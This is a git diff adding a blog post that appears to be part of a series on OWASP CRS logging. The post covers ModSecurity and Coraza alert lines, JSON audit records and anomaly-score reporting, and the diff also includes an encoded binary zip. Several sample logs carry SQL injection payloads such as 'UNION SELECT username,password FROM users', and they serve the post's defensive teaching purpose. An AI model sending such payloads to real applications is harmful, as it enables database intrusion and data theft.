content/blog/2026-11-17-crs-logging-part-3-grafana-loki + includeFiles: ["generate-traffic.sh", "waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf", "grafana-loki/**"] diff --git a/content/blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you/crs-logging-waf.zip b/content/blog/2026-11-03-crs-logging-part-1-what-your-waf-is-telling-you/crs-logging-waf.zip new file mode 100644 index 0000000000000000000000000000000000000000..83387abe2950ec7c965f89809d33a1fdc139e482 GIT binary patch literal 6891 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 2{{< /series-link >}}:** ModSecurity, with the logs shipped to the Elastic Stack (Logstash, Elasticsearch, Kibana) and a ready made dashboard. +- **{{< series-link part="3" >}}Part 3{{< /series-link >}}:** Coraza, with the logs shipped to Grafana and Loki through Alloy, and the same dashboard. + +Parts 2 and 3 come with Docker Compose stacks you can run locally in a few minutes. Each post has its files attached, and a zip with all of them at the end. Both use the CRS project's own container images and the same CRS release. Part 2 runs `owasp/modsecurity-crs`, NGINX with ModSecurity v3 (libmodsecurity). Part 3 runs `coraza-crs`, Caddy with [Coraza](https://coraza.io/). The examples in this post come from ModSecurity v3; most of it applies to ModSecurity v2 on Apache and to Coraza as well, and where the engines differ, we say so. + +{{< figure src="/images/2026/11/crs-logging-kibana-dashboard.png" caption="Where this series is heading: the CRS overview dashboard from Part 2, fed by the logs described below." >}} + +## Three logs, two of which you want + +ModSecurity can write three different things. Knowing which is which saves a lot of confusion. + +**The error log** of the web server (`error.log` on NGINX and Apache) receives one line per rule match. This is the alert stream: compact, greppable, and the thing you `tail -f` while tuning. It is also where the blocking decision is logged. + +**The audit log** receives one record per transaction, with the request headers, the request body if you ask for it, the response status and headers, and the list of every rule that matched. This is the evidence. It is what you open when an alert line is not enough to decide whether something was an attack or a false positive. By default only "relevant" transactions are written: those where a rule matched, or where the response status matches a pattern (`SecAuditLogRelevantStatus`, by default every 5xx and every 4xx except 404). Coraza only applies the second condition, so a request that scored but was not blocked is missing from its audit log; {{< series-link part="3" >}}Part 3{{< /series-link >}} shows the one-line rule that fixes it. + +**The debug log** is a trace of the engine evaluating every rule against every request. It is indispensable when writing rules and useless in production. Leave it off (`SecDebugLogLevel 0`). + +On top of those, the web server's own access log tells you about every request, including the vast majority that never matched anything. You will want it next to the WAF logs when counting how much of your traffic the WAF touches at all. + +## Anatomy of an alert line + +Here is a rule match as NGINX writes it to the error log. It is one line; we have wrapped it for readability. + +```text +2026/10/22 19:31:30 [info] 613#613: *3 ModSecurity: Warning. detected SQLi using libinjection. + [file "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "46"] + [id "942100"] [rev ""] [msg "SQL Injection Attack Detected via libinjection"] + [data "Matched Data: s&1c found within ARGS:id: 1' OR 1=1--"] + [severity "2"] [ver "OWASP_CRS/4.30.0"] [maturity "0"] [accuracy "0"] + [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] + [tag "attack-sqli"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] + [tag "OWASP_CRS/ATTACK-SQLI"] [tag "capec/1000/152/248/66"] + [hostname "localhost"] [uri "/"] [unique_id "179269749060.964266"] [ref "v9,11"], + client: 172.22.0.1, server: localhost, request: "GET /?id=1%27%20OR%201=1-- HTTP/1.1", host: "localhost:8080" +``` + +The parts that matter, in the order you will look at them: + +- **`id`** is the rule that matched. The first three digits tell you the family: 942 is SQL injection, 941 is XSS, 930 and 932 are file access and command execution, 920 and 921 are protocol enforcement and protocol attacks, 913 is scanner detection, 95x are response side rules. The [rule ID reference](https://coreruleset.org/docs/3-about-rules/ruleid/) has the full map. +- **`msg`** is the human readable summary. +- **`data`** is what actually matched and where: the variable (`ARGS:id`) and the offending value. This is the single most useful field for deciding whether you are looking at an attack or at a false positive. +- **`severity`** maps to the points the rule adds to the anomaly score: CRITICAL (2) adds 5, ERROR (3) adds 4, WARNING (4) adds 3, NOTICE (5) adds 2. ModSecurity v3 logs the number; v2 logs the name. +- **`tag`** entries carry the [CRS metadata](https://coreruleset.org/docs/3-about-rules/metadata/): the attack category (`attack-sqli`), the paranoia level the rule belongs to (`paranoia-level/1`), and references into CAPEC. Tags are what you will aggregate on. +- **`unique_id`** ties this line to the audit log record of the same transaction. +- **`uri`**, **`client`**, **`request`** and **`host`** tell you what was hit and by whom. + +Two words at the start of the message make the difference between a match and a verdict. `ModSecurity: Warning.` means a rule matched and added to the score. `ModSecurity: Access denied with code 403 (phase 2).` means the score crossed the threshold and the request was blocked. The blocking line always carries rule `949110` (or `949111` with early blocking, `959100` for responses) and the total score in its message: + +```text +ModSecurity: Access denied with code 403 (phase 2). Matched "Operator `Ge' with parameter `5' + against variable `TX:BLOCKING_INBOUND_ANOMALY_SCORE' (Value: `5' ) ... [id "949110"] + [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "0"] ... +``` + +One ModSecurity v3 detail that trips people up: the per-rule `Warning` lines are written at NGINX's `info` level. With the default `error_log ... warn;` you only ever see the `Access denied` lines, never the rules that led to them. Set the level to `info` (in the official container: `LOGLEVEL=info`). ModSecurity v2 on Apache logs them at `error` level, so nothing to change there. + +## Anatomy of an audit log record + +The audit log can be written in the classic multi-part text format (`SecAuditLogFormat Native`) or as JSON. Use JSON. Every log platform speaks it, and the native format needs a dedicated parser. The official container defaults to JSON (`MODSEC_AUDIT_LOG_FORMAT=JSON`) and to serial mode, one line per transaction. + +```json +{ + "transaction": { + "client_ip": "203.0.113.11", + "time_stamp": "Thu Oct 22 17:13:03 2026", + "unique_id": "179269998371.110810", + "is_interrupted": true, + "request": { + "method": "GET", + "http_version": "1.1", + "hostname": "localhost", + "uri": "/products?id=1%27%20UNION%20SELECT%20username%2Cpassword%20FROM%20users--", + "headers": { "Host": "localhost:8080", "User-Agent": "Mozilla/5.0 ...", "Accept": "*/*" } + }, + "response": { "http_code": 403, "headers": { "...": "..." } }, + "producer": { + "modsecurity": "ModSecurity v3.0.17 (Linux)", + "connector": "ModSecurity-nginx v1.0.4", + "components": ["OWASP_CRS/4.30.0\""] + }, + "messages": [ + { + "message": "SQL Injection Attack Detected via libinjection", + "details": { + "ruleId": "942100", + "data": "Matched Data: s&1c found within ARGS:id: 1' UNION SELECT username,password FROM users--", + "severity": "2", + "tags": ["application-multi", "language-multi", "platform-multi", "attack-sqli", + "paranoia-level/1", "OWASP_CRS", "OWASP_CRS/ATTACK-SQLI", "capec/1000/152/248/66"], + "file": "/etc/modsecurity.d/owasp-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf", + "lineNumber": "46" + } + }, + { "...": "three more SQL injection rules at paranoia level 1, 5 points each" }, + { "message": "Inbound Anomaly Score Exceeded (Total Score: 20)", "details": { "ruleId": "949110", "...": "..." } } + ] + } +} +``` + +`is_interrupted` tells you whether the transaction was blocked. `messages` is the same information as the alert lines, already structured. The `request` block is where the forensic value is: which header, which parameter, which body. Which parts are recorded is controlled by `SecAuditLogParts`. The default in the container, `ABIJDEFHZ`, includes the request body (`I`, or `C` for the raw body) and the response body (`E`). Think about the second one before you ship it anywhere: it is either the block page or your application's response, and the latter can contain personal data. The companion stacks leave part `E` out. + +Two caveats with the v3 JSON format. The timestamp is in `ctime` style (`Thu Oct 22 17:13:03 2026`), in the local time of the process, with no zone; the container runs in UTC. And the response body is written whether or not the request was blocked, so the file grows quickly on a busy site. Rotate it. + +## Where the anomaly score goes + +CRS does not block on a single rule. Every match adds points, and rule 949110 compares the total against the threshold (5 by default). The [anomaly scoring page](https://coreruleset.org/docs/2-how-crs-works/2-1-anomaly_scoring/) explains the mechanism; here we care about where the score shows up in the logs. + +If the request was blocked, the total is in the 949110 message. If it was not blocked you only get the individual matches, which is a problem: a request that scored 3 at paranoia level 1 and 20 at paranoia level 2 looks like a single warning line, and you would never know that raising the paranoia level would have blocked it. + +CRS has a rule for exactly this, 980170 in `RESPONSE-980-CORRELATION.conf`, which runs in the logging phase and writes a line like: + +```text +Anomaly Scores: (Inbound Scores: blocking=5, detection=25, per_pl=5-20-0-0, threshold=5) - + (Outbound Scores: blocking=0, detection=0, per_pl=0-0-0-0, threshold=4) - + (SQLI=25, XSS=0, RFI=0, LFI=0, RCE=0, PHPI=0, HTTP=0, SESS=0, COMBINED_SCORE=5) +``` + +How often it fires is controlled by `tx.reporting_level` (rule 900115 in `crs-setup.conf`, default 4: report whenever anything scored). On ModSecurity v2 the line lands in the Apache error log, and it is the most informative line CRS produces. + +On ModSecurity v3 it never appears. The rule carries the `noauditlog` action, and libmodsecurity implements that action by dropping the message entirely rather than just keeping it out of the audit log. The result is that the most common CRS deployment, NGINX with ModSecurity v3, does not log its own anomaly scores unless you add a rule. Coraza does log 980170. We add a rule anyway, so that both engines write the same line and the same parser works on both. + +### The summary rule + +Put this in `RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf`, the file that is included after all CRS rules (in the container, mount it at `/etc/modsecurity.d/owasp-crs/rules/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf`): + +```apache +SecRule TX:DETECTION_ANOMALY_SCORE "@gt 0" \ + "id:99901,\ + phase:5,\ + pass,\ + t:none,\ + log,\ + auditlog,\ + msg:'CRS summary: inbound_blocking=%{tx.blocking_inbound_anomaly_score} inbound_detection=%{tx.detection_inbound_anomaly_score} inbound_pl=%{tx.inbound_anomaly_score_pl1}-%{tx.inbound_anomaly_score_pl2}-%{tx.inbound_anomaly_score_pl3}-%{tx.inbound_anomaly_score_pl4} inbound_threshold=%{tx.inbound_anomaly_score_threshold} outbound_blocking=%{tx.blocking_outbound_anomaly_score} outbound_detection=%{tx.detection_outbound_anomaly_score} outbound_threshold=%{tx.outbound_anomaly_score_threshold} sqli=%{tx.sql_injection_score} xss=%{tx.xss_score} rfi=%{tx.rfi_score} lfi=%{tx.lfi_score} rce=%{tx.rce_score} phpi=%{tx.php_injection_score} http=%{tx.http_violation_score} sess=%{tx.session_fixation_score} blocking_pl=%{tx.blocking_paranoia_level} detection_pl=%{tx.detection_paranoia_level}',\ + tag:'crs-summary'" +``` + +It runs in phase 5 after CRS has added everything up, fires for every transaction that scored at least one point at the detection paranoia level, and writes a `key=value` line that any log pipeline can parse with one regular expression. It shows up both in the error log and in the audit log's `messages`. Rule IDs 1 to 99,999 are reserved for local rules, so it cannot clash with CRS or a plugin. The exact file is in the {{< resource-link text="examples directory" file="waf/RESPONSE-999-EXCLUSION-RULES-AFTER-CRS.conf" >}}. + +With `blocking_paranoia_level=1` and `detection_paranoia_level=2`, the line for the SQL injection above reads `inbound_blocking=5 inbound_detection=25 inbound_pl=5-20-0-0`: five points from PL1 rules, twenty more from PL2 rules that are evaluated but not enforced. That gap is the answer to "what would PL2 have caught", measured on your own traffic, with no risk. Both dashboards in this series plot it. + +## What to look for + +You have the alert stream and the evidence. Now the actual job: reading them. These are the questions we go through when we look at a CRS installation's logs, roughly in order of how often they pay off. + +### Blocked requests: attack or false positive? + +Start with the 949110 lines, or with `is_interrupted: true`. For each blocked request, look at the rules that contributed and at their `data`. An attack usually lights up several rules from the same family on a parameter that has no business containing that payload, and the matched data reads like an attack: `' UNION SELECT`, `